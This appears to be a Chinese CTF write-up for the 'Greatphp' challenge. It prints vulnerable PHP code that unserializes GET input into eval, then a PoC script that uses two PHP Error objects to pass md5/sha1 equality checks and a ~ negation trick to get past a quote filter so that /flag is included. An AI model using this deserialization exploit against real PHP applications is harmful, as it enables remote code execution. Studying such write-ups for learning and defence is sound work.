BUU_[极客大挑战 2020]Greatphp
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
构造POC链:
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
$cmd = '/flag';
//$s = urlencode(~$cmd);
$str = "?><?=include~" . ~$cmd . "?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));
?>
注意这里绕过引号的技巧是利用取反~
这里 $str = "?><?=include~" . ~$cmd . "?>";
中为什么要在前面加上一个 ?>
呢?因为 Exception
类与 Error
的 __toString
方法在eval()函数中输出的结果是不可能控的,即输出的报错信息中,payload前面还有一段杂乱信息“Error: ”:
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
进入eval()函数会类似于:eval("...Error: <?php payload ?>")
。所以我们要用 ?>
来闭合一下,即 eval("...Error: ?><?php payload ?>")
,这样我们的payload便能顺利执行了。